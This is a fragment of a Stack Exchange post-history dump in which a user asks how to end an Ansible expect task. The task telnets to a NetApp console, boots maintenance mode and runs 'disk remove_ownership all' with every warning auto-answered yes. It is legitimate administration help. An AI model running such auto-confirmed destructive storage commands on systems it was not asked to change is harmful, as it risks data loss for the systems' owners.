&quot;Invalid command: \&quot;echo\&quot;&quot;, &quot;Available commands: version, update_flash, netboot, boot_diags, boot_backup, boot_primary, boot_ontap, sp, flash, bye, set, lsmod, autoboot, go, boot, load, ndp, ping, arp, ifconfig, show, savenv, saveenv, unsetenv, set-defaults, setenv, printenv, help&quot;, &quot;&quot;, &quot;Error (errcode=-1)&quot;, &quot;LOADER-A&gt; boot_diags&quot;, &quot;Loading X86_64/freebsd/image1/kernel:0x200000/10377184 0xbe57e0/6364864 Entry at 0x80294c20&quot;, &quot;Loading X86_64/freebsd/image1/platform.ko:0x11f8000/2512792 0x145e798/393448 0x14be880/541680 &quot;, &quot;Starting program at 0x80294c20&quot;, &quot;NetApp Data ONTAP 9.1RC2X9&quot;, &quot;**Invalid config, overriding as ignore_chassis_config is set** &quot;, &quot;&quot;, &quot;Trying to mount root from msdosfs:/dev/da0s1 [ro]...&quot;, &quot;md0 attached to /X86_64/freebsd/image1/rootfs.img&quot;, &quot;Trying to mount root from ufs:/env/md0.uzip []...&quot;, &quot;mountroot: waiting for device /env/md0.uzip ...&quot;, &quot;Copyright (C) 1992-2016 NetApp.&quot;, &quot;All rights reserved.&quot;, &quot;Writing loader environment to the boot device.&quot;, &quot;Loader environment has been saved to the boot device.&quot;, &quot;*******************************&quot;, &quot;*                             *&quot;, &quot;* Press Ctrl-C for Boot Menu. *&quot;, &quot;*                             *&quot;, &quot;*******************************  \t&quot;, &quot;No SVM keys found.&quot;, &quot;Firewall rules loaded.&quot;, &quot;Ipspace \&quot;ACP\&quot; created&quot;, &quot;WAFL CPLEDGER is enabled. Checklist = 0x7ff841ff&quot;, &quot;add host 127.0.10.1: gateway 127.0.20.1&quot;, &quot;5&quot;, &quot;&quot;, &quot;\tNOTE: You have chosen to boot the diagnostics kernel.&quot;, &quot;\tUse the 'sldiag' command in order to run diagnostics on the system.&quot;, &quot;&quot;, &quot;&quot;, &quot;\tYou have selected the maintenance boot option:&quot;, &quot;\tthe system has booted in maintenance mode allowing the&quot;, &quot;\tfollowing operations to be performed:&quot;, &quot;&quot;, &quot;\t?                 \tacorn             &quot;, &quot;\tacpadmin          \taggr              &quot;, &quot;\tcna_flash         \tdisk              &quot;, &quot;\tdisk_latency      \tdisk_list         &quot;, &quot;\tdisk_mung         \tdisk_shelf        &quot;, &quot;\tdiskcopy          \tdisktest          &quot;, &quot;\tdumpblock         \tenvironment       &quot;, &quot;\tfcadmin           \tfcstat            &quot;, &quot;\tfctest            \tfru_led           &quot;, &quot;\tha-config         \thalt              &quot;, &quot;\thelp              \tifconfig          &quot;, &quot;\tkey_manager       \tled_off           &quot;, &quot;\tled_on            \tnicadmin          &quot;, &quot;\tnv8               \traid_config       &quot;, &quot;\tsasadmin          \tsasstat           &quot;, &quot;\tscsi              \tsesdiag           &quot;, &quot;\tsldiag            \tstorage           &quot;, &quot;\tstsb              \tsysconfig         &quot;, &quot;\tsystemshell       \tucadmin           &quot;, &quot;\tversion           \tvmservices        &quot;, &quot;\tvol               \tvol_db            &quot;, &quot;\tvsa               \txortest           &quot;, &quot;&quot;, &quot;\tType \&quot;help &lt;command&gt;\&quot; for more details.&quot;, &quot;&quot;, &quot;&quot;, &quot;\tIn a High Availablity configuration, you MUST ensure that the &quot;, &quot;\tpartner node is (and remains) down, or that takeover is manually &quot;, &quot;\tdisabled on the partner node, because High Availability &quot;, &quot;\tsoftware is not started or fully enabled in Maintenance mode.&quot;, &quot;&quot;, &quot;\tFAILURE TO DO SO CAN RESULT IN YOUR FILESYSTEMS BEING DESTROYED&quot;, &quot;&quot;, &quot;\tNOTE: It is okay to use 'show/status' sub-commands such as&quot;, &quot;\t'disk show or aggr status' in Maintenance mode while the partner is up&quot;, &quot;Continue with boot? yes&quot;, &quot;yes&quot;, &quot;&quot;, &quot;&quot;, &quot;Mar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). &quot;, &quot;&quot;, &quot;Mar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). &quot;, &quot;&quot;, &quot;&quot;, &quot;Thu Mar 22 12:24:49 EDT 2018&quot;, &quot;*&gt; Mar 22 12:24:49 [rtpsb-f6280-01-01:kern.syslog.msg:notice]: root logged in from SP&quot;, &quot; &quot;, &quot;&quot;, &quot;disk remove_ownership all&quot;, &quot;All disks will have their ownership information removed.&quot;, &quot;For high availability (HA) configurations, the partner node must be down.&quot;, &quot;Do you wish to continue? yes&quot;, &quot;Volumes must be taken offline. Are all impacted volumes offline(y/n)?? yes&quot;, &quot;*&gt; &quot;]}&#xD;&#xA;        to retry, use: --limit @/home/sansible/ansible/disk-unassign.retry&#xD;&#xA;&#xD;&#xA;PLAY RECAP *****************************************************************************************************************************************************************************************&#xD;&#xA;localhost                  : ok=0    changed=0    unreachable=0    failed=1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11574" PostHistoryTypeId="50" PostId="1508" RevisionGUID="0dac1c06-f82b-4c6d-a96e-ca085c7e61c5" CreationDate="2018-03-22T21:03:09.830" UserId="-1" />
  <row Id="11579" PostHistoryTypeId="2" PostId="3705" RevisionGUID="72a2f126-2d9a-4483-bd19-c33059495ac4" CreationDate="2018-03-23T02:25:06.770" UserId="6327" Text="I suppose that you use one of the DevOps tools for CI/CD like Jenkins, I suggest the following approach,&#xD;&#xA;&#xD;&#xA;If you use something like Jenkins-&#xD;&#xA;&#xD;&#xA; - You can configure your job such a way that you can use Jenkins environment variable &quot;BUILD_ID&quot;, which retrieves the build id of the job when triggered to tag it to your image. This way you can version control your docker images. Please check the below example.&#xD;&#xA;&#xD;&#xA;ex:- `sudo docker build -t &lt;image_name&gt;:&lt;BUILD_ID&gt;`&#xD;&#xA;&#xD;&#xA;So, if you have got tag like mechanism for your SCM, you can check the tag in the respective build ID either in job based builds or in config.xml of the build ID in JENKINS HOME_FOLDER." ContentLicense="CC BY-SA 3.0" />
  <row Id="11582" PostHistoryTypeId="5" PostId="3688" RevisionGUID="0114e9c6-9cf8-4bda-a41b-77a171e47dc1" CreationDate="2018-03-23T10:58:09.177" UserId="800" Comment="Better formating" Text="I've noticed that the expect module will always time out and cause an rc=1 code. It's doing everything that I wand it to, I just want to move to another module. How can I end the expect module and move to the next one? &#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Disk Unassignment&#xD;&#xA;          expect:&#xD;&#xA;            echo: yes&#xD;&#xA;            timeout: 180&#xD;&#xA;            command: telnet '{{ terms }}' '{{ termp }}'&#xD;&#xA;            responses:&#xD;&#xA;              Escape character is:  &quot;echo&quot;&#xD;&#xA;              Error: &quot;boot_diags&quot;&#xD;&#xA;              Continue with boot?: &quot;yes&quot;&#xD;&#xA;              root logged: &quot;disk remove_ownership all&quot;&#xD;&#xA;              Do you: &quot;yes&quot;&#xD;&#xA;              Volumes: &quot;yes&quot;&#xD;&#xA;        - meta: end_play&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;        TASK [Disk Unassignment] ***************************************************************************************************************************************************************************&#xD;&#xA;    task path: /home/sansible/ansible/disk-unassign.yaml:13&#xD;&#xA;    fatal: [localhost]: FAILED! =&gt; {&quot;changed&quot;: true, &quot;cmd&quot;: &quot;telnet '10.233.82.7' '2045'&quot;, &quot;delta&quot;: &quot;0:05:07.775726&quot;, &quot;end&quot;: &quot;2018-03-22 12:30:52.315879&quot;, &quot;msg&quot;: &quot;non-zero return code&quot;, &quot;rc&quot;: 1, &quot;start&quot;: &quot;2018-03-22 12:25:44.540153&quot;, &quot;stdout&quot;: &quot;Trying 10.233.82.7...\r\r\nConnected to 10.233.82.7.\r\r\nEscape character is '^]'.\r\r\necho\r\nConnected to port 45. \r\necho\r\nInvalid command: \&quot;echo\&quot;\r\nAvailable commands: version, update_flash, netboot, boot_diags, boot_backup, boot_primary, boot_ontap, sp, flash, bye, set, lsmod, autoboot, go, boot, load, ndp, ping, arp, ifconfig, show, savenv, saveenv, unsetenv, set-defaults, setenv, printenv, help\r\n\r\nError (errcode=-1)\r\nLOADER-A&gt; boot_diags\r\nLoading X86_64/freebsd/image1/kernel:0x200000/10377184 0xbe57e0/6364864 Entry at 0x80294c20\r\nLoading X86_64/freebsd/image1/platform.ko:0x11f8000/2512792 0x145e798/393448 0x14be880/541680 \r\nStarting program at 0x80294c20\r\nNetApp Data ONTAP 9.1RC2X9\r\n**Invalid config, overriding as ignore_chassis_config is set** \r\n\r\nTrying to mount root from msdosfs:/dev/da0s1 [ro]...\r\nmd0 attached to /X86_64/freebsd/image1/rootfs.img\r\nTrying to mount root from ufs:/env/md0.uzip []...\r\nmountroot: waiting for device /env/md0.uzip ...\r\nCopyright (C) 1992-2016 NetApp.\r\nAll rights reserved.\r\nWriting loader environment to the boot device.\r\nLoader environment has been saved to the boot device.\r\n*******************************\r\n*                             *\r\n* Press Ctrl-C for Boot Menu. *\r\n*                             *\r\n*******************************  \t\r\nNo SVM keys found.\r\nFirewall rules loaded.\r\nIpspace \&quot;ACP\&quot; created\r\nWAFL CPLEDGER is enabled. Checklist = 0x7ff841ff\r\nadd host 127.0.10.1: gateway 127.0.20.1\r\n5\r\n\r\n\tNOTE: You have chosen to boot the diagnostics kernel.\r\n\tUse the 'sldiag' command in order to run diagnostics on the system.\r\n\r\n\r\n\tYou have selected the maintenance boot option:\r\n\tthe system has booted in maintenance mode allowing the\r\n\tfollowing operations to be performed:\r\n\r\n\t?                 \tacorn             \r\n\tacpadmin          \taggr              \r\n\tcna_flash         \tdisk              \r\n\tdisk_latency      \tdisk_list         \r\n\tdisk_mung         \tdisk_shelf        \r\n\tdiskcopy          \tdisktest          \r\n\tdumpblock         \tenvironment       \r\n\tfcadmin           \tfcstat            \r\n\tfctest            \tfru_led           \r\n\tha-config         \thalt              \r\n\thelp              \tifconfig          \r\n\tkey_manager       \tled_off           \r\n\tled_on            \tnicadmin          \r\n\tnv8               \traid_config       \r\n\tsasadmin          \tsasstat           \r\n\tscsi              \tsesdiag           \r\n\tsldiag            \tstorage           \r\n\tstsb              \tsysconfig         \r\n\tsystemshell       \tucadmin           \r\n\tversion           \tvmservices        \r\n\tvol               \tvol_db            \r\n\tvsa               \txortest           \r\n\r\n\tType \&quot;help &lt;command&gt;\&quot; for more details.\r\n\r\n\r\n\tIn a High Availablity configuration, you MUST ensure that the \r\n\tpartner node is (and remains) down, or that takeover is manually \r\n\tdisabled on the partner node, because High Availability \r\n\tsoftware is not started or fully enabled in Maintenance mode.\r\n\r\n\tFAILURE TO DO SO CAN RESULT IN YOUR FILESYSTEMS BEING DESTROYED\r\n\r\n\tNOTE: It is okay to use 'show/status' sub-commands such as\r\n\t'disk show or aggr status' in Maintenance mode while the partner is up\r\nContinue with boot? yes\r\nyes\r\n\r\n\r\nMar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). \r\n\rMar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). \r\n\r\r\nThu Mar 22 12:24:49 EDT 2018\r\n*&gt; Mar 22 12:24:49 [rtpsb-f6280-01-01:kern.syslog.msg:notice]: root logged in from SP\r\n \r\n\rdisk remove_ownership all\r\nAll disks will have their ownership information removed.\r\nFor high availability (HA) configurations, the partner node must be down.\r\nDo you wish to continue? yes\r\nVolumes must be taken offline. Are all impacted volumes offline(y/n)?? yes\r\n*&gt; &quot;, &quot;stdout_lines&quot;: [&quot;Trying 10.233.82.7...&quot;, &quot;&quot;, &quot;Connected to 10.233.82.7.&quot;, &quot;&quot;, &quot;Escape character is '^]'.&quot;, &quot;&quot;, &quot;echo&quot;, &quot;Connected to port 45. &quot;, &quot;echo&quot;, &quot;Invalid command: \&quot;echo\&quot;&quot;, &quot;Available commands: version, update_flash, netboot, boot_diags, boot_backup, boot_primary, boot_ontap, sp, flash, bye, set, lsmod, autoboot, go, boot, load, ndp, ping, arp, ifconfig, show, savenv, saveenv, unsetenv, set-defaults, setenv, printenv, help&quot;, &quot;&quot;, &quot;Error (errcode=-1)&quot;, &quot;LOADER-A&gt; boot_diags&quot;, &quot;Loading X86_64/freebsd/image1/kernel:0x200000/10377184 0xbe57e0/6364864 Entry at 0x80294c20&quot;, &quot;Loading X86_64/freebsd/image1/platform.ko:0x11f8000/2512792 0x145e798/393448 0x14be880/541680 &quot;, &quot;Starting program at 0x80294c20&quot;, &quot;NetApp Data ONTAP 9.1RC2X9&quot;, &quot;**Invalid config, overriding as ignore_chassis_config is set** &quot;, &quot;&quot;, &quot;Trying to mount root from msdosfs:/dev/da0s1 [ro]...&quot;, &quot;md0 attached to /X86_64/freebsd/image1/rootfs.img&quot;, &quot;Trying to mount root from ufs:/env/md0.uzip []...&quot;, &quot;mountroot: waiting for device /env/md0.uzip ...&quot;, &quot;Copyright (C) 1992-2016 NetApp.&quot;, &quot;All rights reserved.&quot;, &quot;Writing loader environment to the boot device.&quot;, &quot;Loader environment has been saved to the boot device.&quot;, &quot;*******************************&quot;, &quot;*                             *&quot;, &quot;* Press Ctrl-C for Boot Menu. *&quot;, &quot;*                             *&quot;, &quot;*******************************  \t&quot;, &quot;No SVM keys found.&quot;, &quot;Firewall rules loaded.&quot;, &quot;Ipspace \&quot;ACP\&quot; created&quot;, &quot;WAFL CPLEDGER is enabled. Checklist = 0x7ff841ff&quot;, &quot;add host 127.0.10.1: gateway 127.0.20.1&quot;, &quot;5&quot;, &quot;&quot;, &quot;\tNOTE: You have chosen to boot the diagnostics kernel.&quot;, &quot;\tUse the 'sldiag' command in order to run diagnostics on the system.&quot;, &quot;&quot;, &quot;&quot;, &quot;\tYou have selected the maintenance boot option:&quot;, &quot;\tthe system has booted in maintenance mode allowing the&quot;, &quot;\tfollowing operations to be performed:&quot;, &quot;&quot;, &quot;\t?                 \tacorn             &quot;, &quot;\tacpadmin          \taggr              &quot;, &quot;\tcna_flash         \tdisk              &quot;, &quot;\tdisk_latency      \tdisk_list         &quot;, &quot;\tdisk_mung         \tdisk_shelf        &quot;, &quot;\tdiskcopy          \tdisktest          &quot;, &quot;\tdumpblock         \tenvironment       &quot;, &quot;\tfcadmin           \tfcstat            &quot;, &quot;\tfctest            \tfru_led           &quot;, &quot;\tha-config         \thalt              &quot;, &quot;\thelp              \tifconfig          &quot;, &quot;\tkey_manager       \tled_off           &quot;, &quot;\tled_on            \tnicadmin          &quot;, &quot;\tnv8               \traid_config       &quot;, &quot;\tsasadmin          \tsasstat           &quot;, &quot;\tscsi              \tsesdiag           &quot;, &quot;\tsldiag            \tstorage           &quot;, &quot;\tstsb              \tsysconfig         &quot;, &quot;\tsystemshell       \tucadmin           &quot;, &quot;\tversion           \tvmservices        &quot;, &quot;\tvol               \tvol_db            &quot;, &quot;\tvsa               \txortest           &quot;, &quot;&quot;, &quot;\tType \&quot;help &lt;command&gt;\&quot; for more details.&quot;, &quot;&quot;, &quot;&quot;, &quot;\tIn a High Availablity configuration, you MUST ensure that the &quot;, &quot;\tpartner node is (and remains) down, or that takeover is manually &quot;, &quot;\tdisabled on the partner node, because High Availability &quot;, &quot;\tsoftware is not started or fully enabled in Maintenance mode.&quot;, &quot;&quot;, &quot;\tFAILURE TO DO SO CAN RESULT IN YOUR FILESYSTEMS BEING DESTROYED&quot;, &quot;&quot;, &quot;\tNOTE: It is okay to use 'show/status' sub-commands such as&quot;, &quot;\t'disk show or aggr status' in Maintenance mode while the partner is up&quot;, &quot;Continue with boot? yes&quot;, &quot;yes&quot;, &quot;&quot;, &quot;&quot;, &quot;Mar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). &quot;, &quot;&quot;, &quot;Mar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). &quot;, &quot;&quot;, &quot;&quot;, &quot;Thu Mar 22 12:24:49 EDT 2018&quot;, &quot;*&gt; Mar 22 12:24:49 [rtpsb-f6280-01-01:kern.syslog.msg:notice]: root logged in from SP&quot;, &quot; &quot;, &quot;&quot;, &quot;disk remove_ownership all&quot;, &quot;All disks will have their ownership information removed.&quot;, &quot;For high availability (HA) configurations, the partner node must be down.&quot;, &quot;Do you wish to continue? yes&quot;, &quot;Volumes must be taken offline. Are all impacted volumes offline(y/n)?? yes&quot;, &quot;*&gt; &quot;]}&#xD;&#xA;            to retry, use: --limit @/home/sansible/ansible/disk-unassign.retry&#xD;&#xA;&#xD;&#xA;    PLAY RECAP *****************************************************************************************************************************************************************************************&#xD;&#xA;    localhost                  : ok=0    changed=0    unreachable=0    failed=1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11583" PostHistoryTypeId="24" PostId="3688" RevisionGUID="0114e9c6-9cf8-4bda-a41b-77a171e47dc1" CreationDate="2018-03-23T10:58:09.177" Comment="Proposed by 800 approved by -1 edit id of 649" ContentLicense="CC BY-SA 3.0" />
  <row Id="11584" PostHistoryTypeId="5" PostId="3688" RevisionGUID="ddb58ab0-cd11-4c3c-a657-22aeba088842" CreationDate="2018-03-23T10:58:09.177" UserId="40" Comment="Better formating" Text="I've noticed that the expect module will always time out and cause an `rc=1` code. It's doing everything that I want it to, I just want to move to another module.&#xD;&#xA;&#xD;&#xA;How can I end the expect module and move to the next one? &#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Disk Unassignment&#xD;&#xA;          expect:&#xD;&#xA;            echo: yes&#xD;&#xA;            timeout: 180&#xD;&#xA;            command: telnet '{{ terms }}' '{{ termp }}'&#xD;&#xA;            responses:&#xD;&#xA;              Escape character is:  &quot;echo&quot;&#xD;&#xA;              Error: &quot;boot_diags&quot;&#xD;&#xA;              Continue with boot?: &quot;yes&quot;&#xD;&#xA;              root logged: &quot;disk remove_ownership all&quot;&#xD;&#xA;              Do you: &quot;yes&quot;&#xD;&#xA;              Volumes: &quot;yes&quot;&#xD;&#xA;        - meta: end_play&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;        TASK [Disk Unassignment] ***************************************************************************************************************************************************************************&#xD;&#xA;    task path: /home/sansible/ansible/disk-unassign.yaml:13&#xD;&#xA;    fatal: [localhost]: FAILED! =&gt; {&quot;changed&quot;: true, &quot;cmd&quot;: &quot;telnet '10.233.82.7' '2045'&quot;, &quot;delta&quot;: &quot;0:05:07.775726&quot;, &quot;end&quot;: &quot;2018-03-22 12:30:52.315879&quot;, &quot;msg&quot;: &quot;non-zero return code&quot;, &quot;rc&quot;: 1, &quot;start&quot;: &quot;2018-03-22 12:25:44.540153&quot;, &quot;stdout&quot;: &quot;Trying 10.233.82.7...\r\r\nConnected to 10.233.82.7.\r\r\nEscape character is '^]'.\r\r\necho\r\nConnected to port 45. \r\necho\r\nInvalid command: \&quot;echo\&quot;\r\nAvailable commands: version, update_flash, netboot, boot_diags, boot_backup, boot_primary, boot_ontap, sp, flash, bye, set, lsmod, autoboot, go, boot, load, ndp, ping, arp, ifconfig, show, savenv, saveenv, unsetenv, set-defaults, setenv, printenv, help\r\n\r\nError (errcode=-1)\r\nLOADER-A&gt; boot_diags\r\nLoading X86_64/freebsd/image1/kernel:0x200000/10377184 0xbe57e0/6364864 Entry at 0x80294c20\r\nLoading X86_64/freebsd/image1/platform.ko:0x11f8000/2512792 0x145e798/393448 0x14be880/541680 \r\nStarting program at 0x80294c20\r\nNetApp Data ONTAP 9.1RC2X9\r\n**Invalid config, overriding as ignore_chassis_config is set** \r\n\r\nTrying to mount root from msdosfs:/dev/da0s1 [ro]...\r\nmd0 attached to /X86_64/freebsd/image1/rootfs.img\r\nTrying to mount root from ufs:/env/md0.uzip []...\r\nmountroot: waiting for device /env/md0.uzip ...\r\nCopyright (C) 1992-2016 NetApp.\r\nAll rights reserved.\r\nWriting loader environment to the boot device.\r\nLoader environment has been saved to the boot device.\r\n*******************************\r\n*                             *\r\n* Press Ctrl-C for Boot Menu. *\r\n*                             *\r\n*******************************  \t\r\nNo SVM keys found.\r\nFirewall rules loaded.\r\nIpspace \&quot;ACP\&quot; created\r\nWAFL CPLEDGER is enabled. Checklist = 0x7ff841ff\r\nadd host 127.0.10.1: gateway 127.0.20.1\r\n5\r\n\r\n\tNOTE: You have chosen to boot the diagnostics kernel.\r\n\tUse the 'sldiag' command in order to run diagnostics on the system.\r\n\r\n\r\n\tYou have selected the maintenance boot option:\r\n\tthe system has booted in maintenance mode allowing the\r\n\tfollowing operations to be performed:\r\n\r\n\t?                 \tacorn             \r\n\tacpadmin          \taggr              \r\n\tcna_flash         \tdisk              \r\n\tdisk_latency      \tdisk_list         \r\n\tdisk_mung         \tdisk_shelf        \r\n\tdiskcopy          \tdisktest          \r\n\tdumpblock         \tenvironment       \r\n\tfcadmin           \tfcstat            \r\n\tfctest            \tfru_led           \r\n\tha-config         \thalt              \r\n\thelp              \tifconfig          \r\n\tkey_manager       \tled_off           \r\n\tled_on            \tnicadmin          \r\n\tnv8               \traid_config       \r\n\tsasadmin          \tsasstat           \r\n\tscsi              \tsesdiag           \r\n\tsldiag            \tstorage           \r\n\tstsb              \tsysconfig         \r\n\tsystemshell       \tucadmin           \r\n\tversion           \tvmservices        \r\n\tvol               \tvol_db            \r\n\tvsa               \txortest           \r\n\r\n\tType \&quot;help &lt;command&gt;\&quot; for more details.\r\n\r\n\r\n\tIn a High Availablity configuration, you MUST ensure that the \r\n\tpartner node is (and remains) down, or that takeover is manually \r\n\tdisabled on the partner node, because High Availability \r\n\tsoftware is not started or fully enabled in Maintenance mode.\r\n\r\n\tFAILURE TO DO SO CAN RESULT IN YOUR FILESYSTEMS BEING DESTROYED\r\n\r\n\tNOTE: It is okay to use 'show/status' sub-commands such as\r\n\t'disk show or aggr status' in Maintenance mode while the partner is up\r\nContinue with boot? yes\r\nyes\r\n\r\n\r\nMar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). \r\n\rMar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). \r\n\r\r\nThu Mar 22 12:24:49 EDT 2018\r\n*&gt; Mar 22 12:24:49 [rtpsb-f6280-01-01:kern.syslog.msg:notice]: root logged in from SP\r\n \r\n\rdisk remove_ownership all\r\nAll disks will have their ownership information removed.\r\nFor high availability (HA) configurations, the partner node must be down.\r\nDo you wish to continue? yes\r\nVolumes must be taken offline. Are all impacted volumes offline(y/n)?? yes\r\n*&gt; &quot;, &quot;stdout_lines&quot;: [&quot;Trying 10.233.82.7...&quot;, &quot;&quot;, &quot;Connected to 10.233.82.7.&quot;, &quot;&quot;, &quot;Escape character is '^]'.&quot;, &quot;&quot;, &quot;echo&quot;, &quot;Connected to port 45. &quot;, &quot;echo&quot;, &quot;Invalid command: \&quot;echo\&quot;&quot;, &quot;Available commands: version, update_flash, netboot, boot_diags, boot_backup, boot_primary, boot_ontap, sp, flash, bye, set, lsmod, autoboot, go, boot, load, ndp, ping, arp, ifconfig, show, savenv, saveenv, unsetenv, set-defaults, setenv, printenv, help&quot;, &quot;&quot;, &quot;Error (errcode=-1)&quot;, &quot;LOADER-A&gt; boot_diags&quot;, &quot;Loading X86_64/freebsd/image1/kernel:0x200000/10377184 0xbe57e0/6364864 Entry at 0x80294c20&quot;, &quot;Loading X86_64/freebsd/image1/platform.ko:0x11f8000/2512792 0x145e798/393448 0x14be880/541680 &quot;, &quot;Starting program at 0x80294c20&quot;, &quot;NetApp Data ONTAP 9.1RC2X9&quot;, &quot;**Invalid config, overriding as ignore_chassis_config is set** &quot;, &quot;&quot;, &quot;Trying to mount root from msdosfs:/dev/da0s1 [ro]...&quot;, &quot;md0 attached to /X86_64/freebsd/image1/rootfs.img&quot;, &quot;Trying to mount root from ufs:/env/md0.uzip []...&quot;, &quot;mountroot: waiting for device /env/md0.uzip ...&quot;, &quot;Copyright (C) 1992-2016 NetApp.&quot;, &quot;All rights reserved.&quot;, &quot;Writing loader environment to the boot device.&quot;, &quot;Loader environment has been saved to the boot device.&quot;, &quot;*******************************&quot;, &quot;*                             *&quot;, &quot;* Press Ctrl-C for Boot Menu. *&quot;, &quot;*                             *&quot;, &quot;*******************************  \t&quot;, &quot;No SVM keys found.&quot;, &quot;Firewall rules loaded.&quot;, &quot;Ipspace \&quot;ACP\&quot; created&quot;, &quot;WAFL CPLEDGER is enabled. Checklist = 0x7ff841ff&quot;, &quot;add host 127.0.10.1: gateway 127.0.20.1&quot;, &quot;5&quot;, &quot;&quot;, &quot;\tNOTE: You have chosen to boot the diagnostics kernel.&quot;, &quot;\tUse the 'sldiag' command in order to run diagnostics on the system.&quot;, &quot;&quot;, &quot;&quot;, &quot;\tYou have selected the maintenance boot option:&quot;, &quot;\tthe system has booted in maintenance mode allowing the&quot;, &quot;\tfollowing operations to be performed:&quot;, &quot;&quot;, &quot;\t?                 \tacorn             &quot;, &quot;\tacpadmin          \taggr              &quot;, &quot;\tcna_flash         \tdisk              &quot;, &quot;\tdisk_latency      \tdisk_list         &quot;, &quot;\tdisk_mung         \tdisk_shelf        &quot;, &quot;\tdiskcopy          \tdisktest          &quot;, &quot;\tdumpblock         \tenvironment       &quot;, &quot;\tfcadmin           \tfcstat            &quot;, &quot;\tfctest            \tfru_led           &quot;, &quot;\tha-config         \thalt              &quot;, &quot;\thelp              \tifconfig          &quot;, &quot;\tkey_manager       \tled_off           &quot;, &quot;\tled_on            \tnicadmin          &quot;, &quot;\tnv8               \traid_config       &quot;, &quot;\tsasadmin          \tsasstat           &quot;, &quot;\tscsi              \tsesdiag           &quot;, &quot;\tsldiag            \tstorage           &quot;, &quot;\tstsb              \tsysconfig         &quot;, &quot;\tsystemshell       \tucadmin           &quot;, &quot;\tversion           \tvmservices        &quot;, &quot;\tvol               \tvol_db            &quot;, &quot;\tvsa               \txortest           &quot;, &quot;&quot;, &quot;\tType \&quot;help &lt;command&gt;\&quot; for more details.&quot;, &quot;&quot;, &quot;&quot;, &quot;\tIn a High Availablity configuration, you MUST ensure that the &quot;, &quot;\tpartner node is (and remains) down, or that takeover is manually &quot;, &quot;\tdisabled on the partner node, because High Availability &quot;, &quot;\tsoftware is not started or fully enabled in Maintenance mode.&quot;, &quot;&quot;, &quot;\tFAILURE TO DO SO CAN RESULT IN YOUR FILESYSTEMS BEING DESTROYED&quot;, &quot;&quot;, &quot;\tNOTE: It is okay to use 'show/status' sub-commands such as&quot;, &quot;\t'disk show or aggr status' in Maintenance mode while the partner is up&quot;, &quot;Continue with boot? yes&quot;, &quot;yes&quot;, &quot;&quot;, &quot;&quot;, &quot;Mar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). &quot;, &quot;&quot;, &quot;Mar 22 12:24:22 [rtpsb-f6280-01-01:acp.need.firmware.update:info]: ACP module  (NA) needs a firmware upgrade, (disk shelf serial number: SHJ0000000152A6). &quot;, &quot;&quot;, &quot;&quot;, &quot;Thu Mar 22 12:24:49 EDT 2018&quot;, &quot;*&gt; Mar 22 12:24:49 [rtpsb-f6280-01-01:kern.syslog.msg:notice]: root logged in from SP&quot;, &quot; &quot;, &quot;&quot;, &quot;disk remove_ownership all&quot;, &quot;All disks will have their ownership information removed.&quot;, &quot;For high availability (HA) configurations, the partner node must be down.&quot;, &quot;Do you wish to continue? yes&quot;, &quot;Volumes must be taken offline. Are all impacted volumes offline(y/n)?? yes&quot;, &quot;*&gt; &quot;]}&#xD;&#xA;            to retry, use: --limit @/home/sansible/ansible/disk-unassign.retry&#xD;&#xA;&#xD;&#xA;    PLAY RECAP *****************************************************************************************************************************************************************************************&#xD;&#xA;    localhost                  : ok=0    changed=0    unreachable=0    failed=1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11585" PostHistoryTypeId="2" PostId="3706" RevisionGUID="f0526c59-4fda-41ee-9b46-b86311ac67af" CreationDate="2018-03-23T12:21:02.610" UserId="6591" Text="Tensibai was correct, the telnet session in the expect module had to end. &#xD;&#xA;&#xD;&#xA;Holding down down the key combination &quot;Ctrl + ]&quot; to exit wasn't going to work, so an optional escape character was chosen in the telnet command. &#xD;&#xA;&#xD;&#xA;e.g. telnet -e ! 10.224.223.10&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
